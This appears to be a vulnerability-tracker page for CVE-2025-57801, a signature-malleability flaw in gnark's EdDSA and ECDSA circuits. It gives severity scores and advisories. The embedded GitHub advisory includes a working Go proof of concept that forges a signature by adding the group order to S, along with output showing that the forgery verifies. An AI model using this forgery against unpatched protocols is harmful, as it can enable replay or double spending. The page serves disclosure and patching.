CVE-2025-57801

criticalpriority · track · 36EPSS 0.002 · 11 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.21% (11th) EPSS
CVSS 9.1 · critical
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.1
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–critical · 6.1–9.1

v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Hprimary · NVD / NIST USexploitability 3.9 · impact 5.2
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Hsecondary · OSV
v4.08.6highCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.08.6highCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.06.1mediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-95v9-hv42-pwrjgnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks2025-08-22ghsa · osvUS

    In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. ### Impact Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending. ### Exploitation ```go package main import ( "crypto/rand" "fmt" "math/big" "github.com/consensys/gnark-crypto/ecc" mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc" eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa" "github.com/consensys/gnark/backend/groth16" "github.com/consensys/gnark/frontend" "github.com/consensys/gnark/frontend/cs/r1cs" "github.com/consensys/gnark/std/algebra/native/twistededwards" stdMimc "github.com/consensys/gnark/std/hash/mimc" stdEddsa "github.com/consensys/gnark/std/signature/eddsa" te "github.com/consensys/gnark-crypto/ecc/twistededwards" ) // Circuit type eddsaCircuit struct { Msg frontend.Variable `gnark:",public"` Pk stdEddsa.PublicKey `gnark:",public"` Sig stdEddsa.Signature } func (c *eddsaCircuit) Define(api frontend.API) error { curve, _ := twistededwards.NewEdCurve(api, te.BN254) hasher, _ := stdMimc.NewMiMC(api) stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher) return nil } func groupOrder() *big.Int { // BN254 scalar field order (r) const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617" n, _ := new(big.Int).SetString(rStr, 10) return n } // Forge signature: S → S + order func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature { order := groupOrder() var forged eddsaCrypto.Signature forged.R = sig.R s := new(big.Int).SetBytes(sig.S[:]) s.Add(s, order) buf := make([]byte, 32) copy(buf[32-len(s.Bytes()):], s.Bytes()) copy(forged.S[:], buf) return forged } func main() { // Generate key pair priv, _ := eddsaCrypto.GenerateKey(rand.Reader) pub := priv.PublicKey msg := []byte("multi-witness") // Create honest signature h := mimcHash.NewMiMC() h.Write(msg) rawSig, _ := priv.Sign(msg, h) var honest eddsaCrypto.Signature honest.SetBytes(rawSig) forged := forge(honest) // S + order // Setup: Compile circuit and do trusted setup circuit := &eddsaCircuit{} ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit) if err != nil { fmt.Printf("Circuit compilation failed: %v\n", err) return } pk, vk, err := groth16.Setup(ccs) if err != nil { fmt.Printf("Trusted setup failed: %v\n", err) return } // Public inputs (same for both witnesses) var public eddsaCircuit public.Msg = new(big.Int).SetBytes(msg) public.Pk.Assign(te.BN254, pub.Bytes()) // witness 1: honest signature w1 := public w1.Sig.Assign(te.BN254, honest.Bytes()) witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness1: %v\n", err) return } proof1, err := groth16.Prove(ccs, pk, witness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { publicWitness1, err := witness1.Public() if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { err = groth16.Verify(proof1, vk, publicWitness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { fmt.Println("Witness 1 (honest): Prover succeeded!") } } } // witness 2: forged signature w2 := public w2.Sig.Assign(te.BN254, forged.Bytes()) fmt.Println(honest.R.Equal(&forged.R)) fmt.Println(honest.S != forged.S) witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness2: %v\n", err) return } proof2, err := groth16.Prove(ccs, pk, witness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { publicWitness2, err := witness2.Public() if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { err = groth16.Verify(proof2, vk, publicWitness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { fmt.Println("Witness 2 (forged): Prover succeeded!") } } } } ``` ### Result ```bash go run multiple_witnesses.go 13:47:33 INF compiling circuit 13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3 13:47:33 INF building constraint builder nbConstraints=7003 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583 Witness 1 (honest): Prover succeeded! true true 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833 Witness 2 (forged): Prover succeeded! ``` ### Credits XlabAI Team of Tencent Xuanwu Lab Atuin Automated Vulnerability Discovery Engine SJTU Group of Software Security In Progress Prof. Yu Yu's Lab at SJTU ### Additional mitigation The initial patch added check for `s <= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.

  • GO-2025-3912Gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks in github.com/consensys/gnark2025-08-29vendor · osvUS

    Gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks in github.com/consensys/gnark

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2025-08-22modified 2026-06-17
08

references (9)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan